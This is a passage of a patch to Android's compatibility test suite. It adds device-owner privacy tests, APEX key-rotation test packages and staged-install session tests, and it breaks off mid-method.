+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.android.cts.deviceowner;
+
+import android.app.Activity;
+
+/** Test activity for work policy info. */
+public class WorkPolicyInfoActivity extends Activity {
+ /* empty */
+}
diff --git a/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java b/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java
new file mode 100644
index 0000000..da7d873
--- /dev/null
+++ b/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java
@@ -0,0 +1,237 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.android.cts.settings;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.Log.LogLevel;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+import java.io.FileNotFoundException;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+import javax.annotation.Nullable;
+
+/** Set of tests for Device Owner use cases. */
+public class PrivacyDeviceOwnerTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+ private static final String DEVICE_OWNER_APK = "CtsSettingsDeviceOwnerApp.apk";
+ private static final String DEVICE_OWNER_PKG = "com.google.android.cts.deviceowner";
+
+ private static final String ADMIN_RECEIVER_TEST_CLASS = ".DeviceOwnerTest$BasicAdminReceiver";
+ private static final String CLEAR_DEVICE_OWNER_TEST_CLASS = ".ClearDeviceOwnerTest";
+
+ /**
+ * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+ * command output from the device. At any time, if the shell command does not output anything
+ * for a period longer than defined timeout the Tradefed run terminates.
+ */
+ private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(20);
+
+ /** instrumentation test runner argument key used for individual test timeout */
+ protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+ /**
+ * Sets timeout (in milliseconds) that will be applied to each test. In the event of a test
+ * timeout it will log the results and proceed with executing the next test.
+ */
+ private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(10);
+
+ protected boolean mHasFeature;
+ protected IBuildInfo mCtsBuild;
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mHasFeature = hasDeviceFeature("android.software.device_admin");
+ if (mHasFeature) {
+ installPackage(DEVICE_OWNER_APK);
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ if (mHasFeature) {
+ assertTrue(
+ "Failed to remove device owner.",
+ runDeviceTests(
+ DEVICE_OWNER_PKG,
+ DEVICE_OWNER_PKG + CLEAR_DEVICE_OWNER_TEST_CLASS,
+ null));
+ getDevice().uninstallPackage(DEVICE_OWNER_PKG);
+ }
+
+ super.tearDown();
+ }
+
+ /** The case: app is the device owner, has work policy info. */
+ public void testDeviceOwnerWithInfo() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ setDeviceOwner();
+ executeDeviceOwnerTest("testDeviceOwnerWithInfo");
+ }
+
+ /** The case: app is NOT the device owner, has work policy info. */
+ public void testNonDeviceOwnerWithInfo() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ executeDeviceOwnerTest("testNonDeviceOwnerWithInfo");
+ }
+
+ /** The case: app is the device owner, doesn't have work policy info. */
+ public void testDeviceOwnerWithoutInfo() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ setDeviceOwner();
+ executeDeviceOwnerTest("testDeviceOwnerWithoutInfo");
+ }
+
+ /** The case: app is NOT the device owner, doesn't have work policy info. */
+ public void testNonDeviceOwnerWithoutInfo() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ executeDeviceOwnerTest("testNonDeviceOwnerWithoutInfo");
+ }
+
+ private void executeDeviceOwnerTest(String testMethodName) throws Exception {
+ String testClass = DEVICE_OWNER_PKG + ".DeviceOwnerTest";
+ assertTrue(
+ testClass + " failed.",
+ runDeviceTests(DEVICE_OWNER_PKG, testClass, testMethodName));
+ }
+
+ protected void installPackage(String appFileName)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ CLog.d("Installing app " + appFileName);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ List<String> extraArgs = new LinkedList<>();
+ extraArgs.add("-t");
+ String result =
+ getDevice()
+ .installPackage(
+ buildHelper.getTestFile(appFileName),
+ true,
+ true,
+ extraArgs.toArray(new String[extraArgs.size()]));
+ assertNull("Failed to install " + appFileName + ": " + result, result);
+ }
+
+ protected boolean runDeviceTests(
+ String pkgName, @Nullable String testClassName, @Nullable String testMethodName)
+ throws DeviceNotAvailableException {
+ if (testClassName != null && testClassName.startsWith(".")) {
+ testClassName = pkgName + testClassName;
+ }
+ RemoteAndroidTestRunner testRunner =
+ new RemoteAndroidTestRunner(pkgName, RUNNER, getDevice().getIDevice());
+ testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ testRunner.addInstrumentationArg(
+ TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
+
+ if (testClassName != null && testMethodName != null) {
+ testRunner.setMethodName(testClassName, testMethodName);
+ } else if (testClassName != null) {
+ testRunner.setClassName(testClassName);
+ }
+
+ CollectingTestListener listener = new CollectingTestListener();
+ boolean runResult = getDevice().runInstrumentationTests(testRunner, listener);
+
+ final TestRunResult result = listener.getCurrentRunResults();
+ if (result.isRunFailure()) {
+ throw new AssertionError(
+ "Failed to successfully run device tests for "
+ + result.getName()
+ + ": "
+ + result.getRunFailureMessage());
+ }
+ if (result.getNumTests() == 0) {
+ throw new AssertionError("No tests were run on the device");
+ }
+
+ if (result.hasFailedTests()) {
+ // build a meaningful error message
+ StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+ for (Map.Entry<TestDescription, TestResult> resultEntry :
+ result.getTestResults().entrySet()) {
+ if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+ errorBuilder.append(resultEntry.getKey().toString());
+ errorBuilder.append(":\n");
+ errorBuilder.append(resultEntry.getValue().getStackTrace());
+ }
+ }
+ throw new AssertionError(errorBuilder.toString());
+ }
+
+ return runResult;
+ }
+
+ private void setDeviceOwner() throws DeviceNotAvailableException {
+ String componentName = DEVICE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS;
+ String command = "dpm set-device-owner '" + componentName + "'";
+ String commandOutput = getDevice().executeShellCommand(command);
+ CLog.logAndDisplay(LogLevel.INFO, "Output for command " + command + ": " + commandOutput);
+ assertTrue(
+ commandOutput + " expected to start with \"Success:\" " + commandOutput,
+ commandOutput.startsWith("Success:"));
+ }
+
+ protected boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
+ String command = "pm list features";
+ String commandOutput = getDevice().executeShellCommand(command);
+ CLog.i("Output for command " + command + ": " + commandOutput);
+
+ Set<String> availableFeatures = new HashSet<>();
+ for (String feature : commandOutput.split("\\s+")) {
+ // Each line in the output of the command has the format "feature:{FEATURE_VALUE}".
+ String[] tokens = feature.split(":");
+ assertTrue(
+ "\"" + feature + "\" expected to have format feature:{FEATURE_VALUE}",
+ tokens.length > 1);
+ assertEquals(feature, "feature", tokens[0]);
+ availableFeatures.add(tokens[1]);
+ }
+ boolean result = availableFeatures.contains(requiredFeature);
+ if (!result) {
+ CLog.d("Device doesn't have required feature " + requiredFeature + ". Test won't run.");
+ }
+ return result;
+ }
+}
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.bp b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
index a0e435f..f386a71 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
@@ -27,6 +27,9 @@
"vts",
"general-tests",
],
+ static_libs: [
+ "compatibility-device-util-axt",
+ ],
}
android_test_helper_app {
diff --git a/hostsidetests/signedconfig/hostside/OWNERS b/hostsidetests/signedconfig/hostside/OWNERS
new file mode 100644
index 0000000..f968305
--- /dev/null
+++ b/hostsidetests/signedconfig/hostside/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 533114
+mathewi@google.com
+*
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index b777cc3..270bd81 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -45,10 +45,17 @@
manifest : "app/AndroidManifest.xml",
java_resources: [
+ ":ApexKeyRotationTestV2_SignedBob",
+ ":ApexKeyRotationTestV2_SignedBobRot",
+ ":ApexKeyRotationTestV2_SignedBobRotRollback",
+ ":ApexKeyRotationTestV3_SignedBob",
+ ":ApexKeyRotationTestV3_SignedBobRot",
":StagedInstallTestApexV1_NotPreInstalled",
+ ":StagedInstallTestApexV1",
":StagedInstallTestApexV2",
":StagedInstallTestApexV2_AdditionalFile",
":StagedInstallTestApexV2_AdditionalFolder",
+ ":StagedInstallTestApexV2_DifferentCertificate",
":StagedInstallTestApexV2_WithPostInstallHook",
":StagedInstallTestApexV2_WithPreInstallHook",
":StagedInstallTestApexV2_WrongSha",
@@ -59,7 +66,7 @@
"androidx.test.runner",
"androidx.test.core",
"truth-prebuilt",
- "cts-install-lib",
+ "cts-install-lib",
],
sdk_version: "test_current",
test_suites: ["device-tests"],
@@ -75,6 +82,48 @@
}
prebuilt_apex {
+ name: "ApexKeyRotationTestV2_SignedBob",
+ src: "testdata/apex/com.android.apex.cts.shim.v2_signed_bob.apex",
+ filename: "com.android.apex.cts.shim.v2_signed_bob.apex",
+ installable: false,
+}
+
+prebuilt_apex {
+ name: "ApexKeyRotationTestV2_SignedBobRot",
+ src: "testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot.apex",
+ filename: "com.android.apex.cts.shim.v2_signed_bob_rot.apex",
+ installable: false,
+}
+
+prebuilt_apex {
+ name: "ApexKeyRotationTestV2_SignedBobRotRollback",
+ src: "testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex",
+ filename: "com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex",
+ installable: false,
+}
+
+prebuilt_apex {
+ name: "ApexKeyRotationTestV3_SignedBob",
+ src: "testdata/apex/com.android.apex.cts.shim.v3_signed_bob.apex",
+ filename: "com.android.apex.cts.shim.v3_signed_bob.apex",
+ installable: false,
+}
+
+prebuilt_apex {
+ name: "ApexKeyRotationTestV3_SignedBobRot",
+ src: "testdata/apex/com.android.apex.cts.shim.v3_signed_bob_rot.apex",
+ filename: "com.android.apex.cts.shim.v3_signed_bob_rot.apex",
+ installable: false,
+}
+
+prebuilt_apex {
+ name: "StagedInstallTestApexV1",
+ src: "testdata/apex/com.android.apex.cts.shim.v1.apex",
+ filename: "com.android.apex.cts.shim.v1.apex",
+ installable: false,
+}
+
+prebuilt_apex {
name: "StagedInstallTestApexV2",
src: "testdata/apex/com.android.apex.cts.shim.v2.apex",
filename: "com.android.apex.cts.shim.v2.apex",
@@ -129,3 +178,10 @@
filename: "com.android.apex.cts.shim_not_pre_installed.apex",
installable: false,
}
+
+prebuilt_apex {
+ name: "StagedInstallTestApexV2_DifferentCertificate",
+ src: "testdata/apex/com.android.apex.cts.shim.v2_different_certificate.apex",
+ filename: "com.android.apex.cts.shim.v2_different_certificate.apex",
+ installable: false,
+}
diff --git a/hostsidetests/stagedinstall/app/AndroidManifest.xml b/hostsidetests/stagedinstall/app/AndroidManifest.xml
index 51c2ec4..3708c02 100644
--- a/hostsidetests/stagedinstall/app/AndroidManifest.xml
+++ b/hostsidetests/stagedinstall/app/AndroidManifest.xml
@@ -20,10 +20,23 @@
<application>
<receiver android:name="com.android.cts.install.lib.LocalIntentSender"
android:exported="true" />
+
+ <!-- This activity is necessary to register the test app as the default home activity (i.e.
+ to receive SESSION_COMMITTED broadcasts.) -->
+ <activity android:name=".LauncherActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.HOME"/>
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
<receiver android:name="com.android.tests.stagedinstall.SessionUpdateBroadcastReceiver">
<intent-filter>
<action android:name="android.content.pm.action.SESSION_UPDATED"/>
</intent-filter>
+ <intent-filter>
+ <action android:name="android.content.pm.action.SESSION_COMMITTED"/>
+ </intent-filter>
</receiver>
<uses-library android:name="android.test.runner" />
</application>
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
index c36c4f7..2abb723 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
@@ -127,10 +127,12 @@
TestApp apexTestApp = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
true, apexFileName);
int sessionId = Install.single(apexTestApp).setStaged().createSession();
- PackageInstaller.Session session = InstallUtils.openPackageInstallerSession(sessionId);
- session.commit(LocalIntentSender.getIntentSender());
- Intent result = LocalIntentSender.getIntentSenderResult();
- InstallUtils.assertStatusSuccess(result);
- return sessionId;
+ try (PackageInstaller.Session session =
+ InstallUtils.openPackageInstallerSession(sessionId)) {
+ session.commit(LocalIntentSender.getIntentSender());
+ Intent result = LocalIntentSender.getIntentSenderResult();
+ InstallUtils.assertStatusSuccess(result);
+ return sessionId;
+ }
}
}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LauncherActivity.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LauncherActivity.java
new file mode 100644
index 0000000..8efe6db
--- /dev/null
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LauncherActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.stagedinstall;
+
+import android.app.Activity;
+
+public class LauncherActivity extends Activity {
+}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/SessionUpdateBroadcastReceiver.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/SessionUpdateBroadcastReceiver.java
index b0e2f93..d51c091 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/SessionUpdateBroadcastReceiver.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/SessionUpdateBroadcastReceiver.java
@@ -31,6 +31,8 @@
static final BlockingQueue<PackageInstaller.SessionInfo> sessionBroadcasts
= new LinkedBlockingQueue<>();
+ static final BlockingQueue<PackageInstaller.SessionInfo> sessionCommittedBroadcasts
+ = new LinkedBlockingQueue<>();
private static final String TAG = "StagedInstallTest";
@@ -39,6 +41,19 @@
PackageInstaller.SessionInfo info =
intent.getParcelableExtra(PackageInstaller.EXTRA_SESSION);
assertThat(info).isNotNull();
+ switch (intent.getAction()) {
+ case PackageInstaller.ACTION_SESSION_UPDATED:
+ handleSessionUpdatedBroadcast(info);
+ break;
+ case PackageInstaller.ACTION_SESSION_COMMITTED:
+ handleSessionCommittedBroadcast(info);
+ break;
+ default:
+ break;
+ }
+ }
+
+ private void handleSessionUpdatedBroadcast(PackageInstaller.SessionInfo info) {
Log.i(TAG, "Received SESSION_UPDATED for session " + info.getSessionId()
+ " isReady:" + info.isStagedSessionReady()
+ " isFailed:" + info.isStagedSessionFailed()
@@ -49,4 +64,15 @@
}
}
+
+ private void handleSessionCommittedBroadcast(PackageInstaller.SessionInfo info) {
+ Log.e(TAG, "Received SESSION_COMMITTED for session " + info.getSessionId());
+ try {
+ sessionCommittedBroadcasts.put(info);
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ throw new IllegalStateException(
+ "Interrupted while handling SESSION_COMMITTED broadcast", e);
+ }
+ }
}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 6aa8be6..5af74b4 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -27,11 +27,13 @@
import android.Manifest;
import android.content.Context;
import android.content.Intent;
+import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageInstaller;
import android.content.pm.PackageManager;
import android.os.Handler;
import android.os.HandlerThread;
+import android.os.storage.StorageManager;
import android.util.Log;
import androidx.test.platform.app.InstrumentationRegistry;
@@ -63,6 +65,7 @@
import java.util.List;
import java.util.concurrent.TimeUnit;
import java.util.function.Consumer;
+import java.util.stream.Collectors;
/**
* This series of tests are meant to be driven by a host, since some of the interactions being
@@ -96,9 +99,28 @@
private static final Duration WAIT_FOR_SESSION_REMOVED_TTL = Duration.ofSeconds(10);
private static final Duration SLEEP_DURATION = Duration.ofMillis(200);
+ private static final String SHIM_PACKAGE_NAME = "com.android.apex.cts.shim";
private static final TestApp TESTAPP_SAME_NAME_AS_APEX = new TestApp(
- "TestAppSamePackageNameAsApex", "com.android.apex.cts.shim", 1, /*isApex*/ false,
+ "TestAppSamePackageNameAsApex", SHIM_PACKAGE_NAME, 1, /*isApex*/ false,
"StagedInstallTestAppSamePackageNameAsApex.apk");
+ public static final TestApp Apex2DifferentCertificate = new TestApp(
+ "Apex2DifferentCertificate", SHIM_PACKAGE_NAME, 2, /*isApex*/true,
+ "com.android.apex.cts.shim.v2_different_certificate.apex");
+ private static final TestApp Apex2SignedBob = new TestApp(
+ "Apex2SignedBob", SHIM_PACKAGE_NAME, 2, /*isApex*/true,
+ "com.android.apex.cts.shim.v2_signed_bob.apex");
+ private static final TestApp Apex2SignedBobRot = new TestApp(
+ "Apex2SignedBobRot", SHIM_PACKAGE_NAME, 2, /*isApex*/true,
+ "com.android.apex.cts.shim.v2_signed_bob_rot.apex");
+ private static final TestApp Apex2SignedBobRotRollback = new TestApp(
+ "Apex2SignedBobRotRollback", SHIM_PACKAGE_NAME, 2, /*isApex*/true,
+ "com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex");
+ private static final TestApp Apex3SignedBob = new TestApp(
+ "Apex3SignedBob", SHIM_PACKAGE_NAME, 3, /*isApex*/true,
+ "com.android.apex.cts.shim.v3_signed_bob.apex");
+ private static final TestApp Apex3SignedBobRot = new TestApp(
+ "Apex3SignedBobRot", SHIM_PACKAGE_NAME, 3, /*isApex*/true,
+ "com.android.apex.cts.shim.v3_signed_bob_rot.apex");
@Before
public void adoptShellPermissions() {
@@ -121,6 +143,7 @@
@Before
public void clearBroadcastReceiver() {
SessionUpdateBroadcastReceiver.sessionBroadcasts.clear();
+ SessionUpdateBroadcastReceiver.sessionCommittedBroadcasts.clear();
}
// This is marked as @Test to take advantage of @Before/@After methods of this class. Actual
@@ -131,6 +154,10 @@
PackageInstaller packageInstaller = getPackageInstaller();
List<PackageInstaller.SessionInfo> stagedSessions = packageInstaller.getStagedSessions();
for (PackageInstaller.SessionInfo sessionInfo : stagedSessions) {
+ if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID) {
+ // Cannot abandon a child session
+ continue;
+ }
try {
Log.i(TAG, "abandoning session " + sessionInfo.getSessionId());
packageInstaller.abandonSession(sessionInfo.getSessionId());
@@ -166,6 +193,7 @@
assertSessionReady(sessionId);
storeSessionId(sessionId);
assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertNoSessionCommitBroadcastSent();
}
@Test
@@ -173,6 +201,7 @@
int sessionId = retrieveLastSessionId();
assertSessionApplied(sessionId);
assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+ assertNoSessionCommitBroadcastSent();
}
@Test
@@ -181,7 +210,7 @@
assertSessionApplied(sessionId);
// Session is in a final state. Test that abandoning the session doesn't remove it from the
// session database.
- getPackageInstaller().abandonSession(sessionId);
+ abandonSession(sessionId);
assertSessionApplied(sessionId);
}
@@ -196,6 +225,7 @@
storeSessionId(sessionId);
assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
+ assertNoSessionCommitBroadcastSent();
}
@Test
@@ -204,68 +234,7 @@
assertSessionApplied(sessionId);
assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
- }
-
- @Test
- public void testFailInstallAnotherSessionAlreadyInProgress_BothSinglePackage()
- throws Exception {
- int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
- StageSessionResult failedSessionResult = stageSingleApk(TestApp.A1);
- assertThat(failedSessionResult.getErrorMessage()).contains(
- "There is already in-progress committed staged session");
- // Currently abandoning a session before pre-reboot verification finishes might result in
- // a system_server crash. Before that issue is resolved we need to manually wait for
- // pre-reboot verification to finish before abandoning sessions.
- // TODO(b/145925842): remove following line after fixing the bug.
- waitForIsReadyBroadcast(sessionId);
- getPackageInstaller().abandonSession(sessionId);
- }
-
- @Test
- public void testFailInstallAnotherSessionAlreadyInProgress_SinglePackageMultiPackage()
- throws Exception {
- int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
- StageSessionResult failedSessionResult = stageMultipleApks(TestApp.A1, TestApp.B1);
- assertThat(failedSessionResult.getErrorMessage()).contains(
- "There is already in-progress committed staged session");
- // Currently abandoning a session before pre-reboot verification finishes might result in
- // a system_server crash. Before that issue is resolved we need to manually wait for
- // pre-reboot verification to finish before abandoning sessions.
- // TODO(b/145925842): remove following line after fixing the bug.
- waitForIsReadyBroadcast(sessionId);
- getPackageInstaller().abandonSession(sessionId);
- }
-
- @Test
- public void testFailInstallAnotherSessionAlreadyInProgress_MultiPackageSinglePackage()
- throws Exception {
- int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
- .assertSuccessful().getSessionId();
- StageSessionResult failedSessionResult = stageSingleApk(TestApp.A1);
- assertThat(failedSessionResult.getErrorMessage()).contains(
- "There is already in-progress committed staged session");
- // Currently abandoning a session before pre-reboot verification finishes might result in
- // a system_server crash. Before that issue is resolved we need to manually wait for
- // pre-reboot verification to finish before abandoning sessions.
- // TODO(b/145925842): remove following line after fixing the bug.
- waitForIsReadyBroadcast(sessionId);
- getPackageInstaller().abandonSession(sessionId);
- }
-
- @Test
- public void testFailInstallAnotherSessionAlreadyInProgress_BothMultiPackage()
- throws Exception {
- int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
- .assertSuccessful().getSessionId();
- StageSessionResult failedSessionResult = stageMultipleApks(TestApp.A1, TestApp.B1);
- assertThat(failedSessionResult.getErrorMessage()).contains(
- "There is already in-progress committed staged session");
- // Currently abandoning a session before pre-reboot verification finishes might result in
- // a system_server crash. Before that issue is resolved we need to manually wait for
- // pre-reboot verification to finish before abandoning sessions.
- // TODO(b/145925842): remove following line after fixing the bug.
- waitForIsReadyBroadcast(sessionId);
- getPackageInstaller().abandonSession(sessionId);
+ assertNoSessionCommitBroadcastSent();
}
@Test
@@ -302,36 +271,54 @@
}
@Test
- public void testGetActiveStagedSession() throws Exception {
+ public void testGetActiveStagedSessions() throws Exception {
PackageInstaller packageInstaller = getPackageInstaller();
- int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
- PackageInstaller.SessionInfo session = packageInstaller.getActiveStagedSession();
- assertThat(session.getSessionId()).isEqualTo(sessionId);
+ int firstSessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
// Currently abandoning a session before pre-reboot verification finishes might result in
// a system_server crash. Before that issue is resolved we need to manually wait for
// pre-reboot verification to finish before abandoning sessions.
- // TODO(b/145925842): remove following line after fixing the bug.
- waitForIsReadyBroadcast(sessionId);
+ // TODO(b/145925842): remove following two lines after fixing the bug.
+ waitForIsReadyBroadcast(firstSessionId);
+ int secondSessionId = stageSingleApk(TestApp.B1).assertSuccessful().getSessionId();
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following two lines after fixing the bug.
+ waitForIsReadyBroadcast(secondSessionId);
+ List<Integer> stagedSessionIds = packageInstaller.getActiveStagedSessions()
+ .stream().map(s -> s.getSessionId()).collect(Collectors.toList());
+ assertThat(stagedSessionIds).hasSize(2);
+ assertThat(stagedSessionIds).contains(firstSessionId);
+ assertThat(stagedSessionIds).contains(secondSessionId);
}
@Test
- public void testGetActiveStagedSessionNoSessionActive() throws Exception {
+ public void testGetActiveStagedSessionsNoSessionActive() throws Exception {
PackageInstaller packageInstaller = getPackageInstaller();
- PackageInstaller.SessionInfo session = packageInstaller.getActiveStagedSession();
- assertThat(session).isNull();
+ List<PackageInstaller.SessionInfo> sessions = packageInstaller.getActiveStagedSessions();
+ assertThat(sessions).isEmpty();
}
@Test
- public void testGetGetActiveStagedSession_MultiApkSession() throws Exception {
- int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
+ public void testGetActiveStagedSessions_MultiApkSession() throws Exception {
+ int firstSessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
.assertSuccessful().getSessionId();
- PackageInstaller.SessionInfo session = getPackageInstaller().getActiveStagedSession();
- assertThat(session.getSessionId()).isEqualTo(sessionId);
// Currently abandoning a session before pre-reboot verification finishes might result in
// a system_server crash. Before that issue is resolved we need to manually wait for
// pre-reboot verification to finish before abandoning sessions.
- // TODO(b/145925842): remove following line after fixing the bug.
- waitForIsReadyBroadcast(sessionId);
+ // TODO(b/145925842): remove following two lines after fixing the bug.
+ waitForIsReadyBroadcast(firstSessionId);
+ int secondSessionId = stageMultipleApks(TestApp.C1)
+ .assertSuccessful().getSessionId();
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ waitForIsReadyBroadcast(secondSessionId);
+ List<Integer> stagedSessionIds = getPackageInstaller().getActiveStagedSessions()
+ .stream().map(s -> s.getSessionId()).collect(Collectors.toList());
+ assertThat(stagedSessionIds).hasSize(2);
+ assertThat(stagedSessionIds).contains(firstSessionId);
+ assertThat(stagedSessionIds).contains(secondSessionId);
}
@Test
@@ -383,6 +370,7 @@
storeSessionId(sessionId);
// Version shouldn't change before reboot.
assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ assertNoSessionCommitBroadcastSent();
}
@Test
@@ -390,6 +378,7 @@
int sessionId = retrieveLastSessionId();
assertSessionApplied(sessionId);
assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ assertNoSessionCommitBroadcastSent();
}
@Test
@@ -404,6 +393,7 @@
// Version shouldn't change before reboot.
assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertNoSessionCommitBroadcastSent();
}
@Test
@@ -412,6 +402,7 @@
assertSessionApplied(sessionId);
assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+ assertNoSessionCommitBroadcastSent();
}
@Test
@@ -466,6 +457,36 @@
}
@Test
+ public void testInstallV2Apex_Commit() throws Exception {
+ int sessionId = stageSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(sessionId);
+ assertSessionReady(sessionId);
+ storeSessionId(sessionId);
+ }
+
+ @Test
+ public void testInstallV2Apex_VerifyPostReboot() throws Exception {
